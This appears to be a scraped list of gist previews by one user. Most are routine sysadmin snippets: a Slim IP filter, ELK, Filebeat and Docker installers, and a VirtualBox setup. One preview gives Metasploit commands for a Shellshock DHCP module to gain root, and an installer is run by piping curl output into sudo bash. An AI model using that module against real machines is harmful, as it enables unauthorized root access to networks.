kimsyversen

<?php
/**
 * Simple IP filter
 *
 * Use this middleware with your Slim Framework application
 * to require restrict access to certain ip addresses
 *
 * USAGE
 *
 * $app = new \Slim\Slim();

kimsyversen

#!/bin/sh

# Get MacOSX idletime. Shamelessly stolen from http://bit.ly/yVhc5H
/usr/sbin/ioreg -c IOHIDSystem | /usr/bin/awk '/HIDIdleTime/ {print int($NF/1000000000); exit}'

kimsyversen

#Exploits Get root via DHCP on machines vulnerable to Shellshock. Source. https://d.uijn.nl/?p=32

1. Start Metasploit:

use exploit/unix/dhcp/bash_environment
set SRVHOST 192.168.1.1
set netmask 255.255.255.0

kimsyversen

#!/usr/bin/python
"""
Prereqs:

sudo pip install influxdb
sudo pip install simplejson

Grafana queries

SELECT derivative(mean("value"),1s) FROM "rx_bytes" WHERE $timeFilter GROUP BY time($interval) fill(null)

kimsyversen

#!/usr/bin/env bash

# How to install:
# curl -L https://gist.githubusercontent.com/kimsyversen/e51286fcfa39a01aed42682347414e9c/raw/5bb25bbcefd665ed8d71f43308b70c83f2c710e6/elk6.sh | sudo bash
# Src https://logz.io/learn/complete-guide-elk-stack

# For client see https://gist.github.com/kimsyversen/758c7a6104ce8ec5e407769c9c27a3b3
# Check for sudo
if [[ $UID != 0 ]]; then
    echo "Please run this script with sudo:"

kimsyversen

cat << EOF > client_install.sh

# Dashboards for Kibana is available in filebeat
# Src https://logz.io/blog/shipping-logs-filebeat/

# Add beats repo
echo "deb https://packages.elastic.co/beats/apt stable main" | sudo tee -a /etc/apt/sources.list.d/beats.list

# Install filebeat

kimsyversen

#!/bin/bash
# Made by Kim Syversen (2018)

sudo apt install -y linux-headers-$(uname -r) build-essential dkms && \

echo -e "\nGo the Virtual box menu and select Devices. Then select Install Guest Additions CD Image. Reboot after installation is completed"

kimsyversen

# Filebeat on CLIENT
# Work in progress

# Install
# Src: https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html

wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -
sudo apt-get install apt-transport-https
echo "deb https://artifacts.elastic.co/packages/6.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-6.x.list
sudo apt-get update && sudo apt-get install filebeat

kimsyversen

#!/bin/bash 



sudo apt remove docker docker-engine docker.io
sudo apt install apt-transport-https ca-certificates curl software-properties-common

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"

kimsyversen

Overview

|

Reconnaissance

|

Initial Access

|

Execution

|

Privilege Escalation

|

Persistence

|

Credential Access

|

Impact

| |:-----------------------------------------